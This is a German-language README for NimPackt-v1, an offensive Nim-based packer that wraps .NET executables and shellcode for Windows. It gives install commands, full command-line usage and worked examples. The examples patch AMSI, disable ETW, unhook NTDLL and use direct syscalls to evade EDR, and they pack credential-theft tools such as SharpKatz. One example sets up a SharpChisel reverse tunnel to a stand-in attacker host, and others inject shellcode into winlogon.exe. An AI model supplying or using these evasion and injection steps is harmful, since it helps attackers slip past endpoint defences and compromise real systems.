
Nim-basierter Assembly-Packer und Shellcode-Lader für OpSec & Profit

Von Cas van Cooten (@chvancooten)
Mit besonderem Dank an Marcello Salvati (@byt3bl33der) und Fabian Mosch (@S3cur3Th1sSh1t)
Update: NimPackt-v1 gehört zu dem schlechtesten Code, den ich je geschrieben habe (ich habe gerade erst angefangen, Nim zu lernen). Aus diesem Grund habe ich mit einer vollständigen Neufassung von NimPackt begonnen, genannt 'NimPackt-NG' (derzeit noch privat). Mit dieser Neufassung habe ich beschlossen, den alten Branch ('NimPackt-v1') als Open Source zu veröffentlichen. Daher wird dieser Branch nicht mehr gewartet und kommt ohne jegliche Garantie oder Unterstützung. PRs sind natürlich jederzeit willkommen :)
NimPackt ist ein Nim-basierter Packer für .NET (C#)-Executables und Shellcode, der auf Windows abzielt. Es verpackt die Nutzlast automatisch in ein Nim-Binärprogramm, das in nativem C kompiliert wird und daher schwerer zu erkennen und rückzuentwickeln ist. Es gibt zwei Hauptausführungsmethoden:
Execute-Assembly verpackt ein .NET-Executable neu und führt es aus, optional mit Umgehungsmaßnahmen wie API-Entkopplung, AMSI-Patching oder Deaktivierung von ETW.Shinject nimmt eine rohe .bin-Datei mit rohem, positionsunabhängigem Shellcode und führt ihn lokal oder in einem entfernten Prozess aus, optional unter Verwendung direkter Systemaufrufe zur Auslösung des Shellcodes oder durch Patchen von API-Hooks zur Umgehung von EDR.Derzeit bietet NimPackt die folgenden Funktionen.
NTDLL.dll mittels ShellyCoatexe oder dllEine großartige Quelle für C#-basierte Binärdateien für offensive Werkzeuge finden Sie hier. Es wird dringend empfohlen, die C#-Binärdateien selbst zu kompilieren. Auch wenn eingebettete Binärdateien verschlüsselt sind, sollten Sie sensible Binärdateien (wie Mimikatz) verschleiern, um das Erkennungsrisiko zu verringern.
Wenn Sie Probleme beim Kompilieren der Binärdatei mit Syscalls haben, versuchen Sie, Ihren GCC auf Version 8.1.0 herabzustufen (insbesondere unter Windows). Testen Sie generierte Nutzlasten IMMER!
Unter Linux installieren Sie einfach die erforderlichen Pakete und verwenden Sie den Nimble-Paketinstaller, um die erforderlichen Pakete und Python-Bibliotheken zu installieren.
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
Unter Windows führen Sie den Nim-Installer von hier aus. Stellen Sie sicher, dass Sie mingw installieren und die Pfadwerte mithilfe des bereitgestellten Dienstprogramms finish.exe korrekt setzen. Wenn Sie Python3 nicht haben, installieren Sie es und installieren Sie dann die erforderlichen Pakete wie folgt.
nimble install winim nimcrypto
pip3 install pycryptodome argparse
Das Docker-Image chvancooten/nimbuild kann verwendet werden, um NimPackt-v1-Binärdateien zu kompilieren. Die Verwendung von Docker ist einfach und vermeidet Abhängigkeitsprobleme, da alle erforderlichen Abhängigkeiten in diesem Container vorinstalliert sind.
Um es zu verwenden, installieren Sie Docker für Ihr Betriebssystem und stellen Sie sicher, dass sich der Eingabe-Shellcode im aktuellen Ordner befindet. Starten Sie dann die Kompilierung in einem Container wie folgt.
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
Um das CobaltStrike-Plugin zu installieren, wählen Sie Cobalt Strike -> Script Manager aus der Menüleiste und wählen Sie Load. Stellen Sie sicher, dass Sie die .cna-Datei von ihrem ursprünglichen Speicherort laden, da sie sonst die NimPackt-Skriptdateien nicht finden kann!

usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Execution mode of the packer. Supports "execute-assembly" or "shinject"
-i INPUTFILE, --inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap
execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
time arguments (default)
-na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)
shinject arguments:
-r, --remote Inject shellcode into remote process (default false)
-t INJECTTARGET, --target INJECTTARGET
Remote thread targeted for remote process injection
-E, --existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)
other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, --filetype FILETYPE
Filetype to compile ("exe" or "dll", default: "exe")
-s, --sleep Sleep for approx. 30 seconds by calculating primes
-32, --32bit Compile in 32-bit mode (untested)
-S, --showConsole Show a console window with the app's output when running
-d, --debug Enable debug mode (retains .nim source file in output folder)
-v, --verbose Print debug messages of the wrapped binary at runtime
-V, --version show program's version number and exit
Beispiele:
# SharpKatz packen, um Argumente zur Laufzeit zu akzeptieren, NTDLL-Hooks, AMSI und ETW patchen, sowie ausführliche Meldungen in einer sichtbaren Konsole zur Laufzeit ausgeben
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
# Seatbelt als DLL-Datei mit eingebrannten Argumenten packen (Hinweis: in eine Ausgabedatei schreiben, da stdout für DLLs nicht verfügbar ist)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
# SharpChisel mit einer eingebauten ChiselChief-Verbindungszeichenfolge packen, keine Hooks entfernen, AMSI nicht patchen oder ETW deaktivieren, das Anwendungsfenster zur Laufzeit ausblenden
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
# Rohen Shellcode in eine DLL-Datei packen, der im lokalen Thread durch direkte Systemaufrufe ausgeführt wird, dabei auch NTDLL entkoppeln
# Shellcode generiert mit 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll
# Rohen Shellcode packen, um ihn in einem neu erstellten Rechnerthread in einem unsichtbaren Fenster auszuführen
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
# Rohen Shellcode packen, um ihn im vorhandenen Winlogon-Prozess auszuführen (erste PID mit Namen 'winlogon.exe'), keine direkten Systemaufrufe oder Entkopplung von NTDLL verwenden
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
Binärdateien werden im Unterordner output Ihres Installationsverzeichnisses gespeichert. Generierte dll-Dateien können wie folgt ausgeführt werden (der Einstiegspunkt kann in der Nim-Vorlage geändert werden):
rundll32 exampleShinjectNimPackt.dll,IconSrv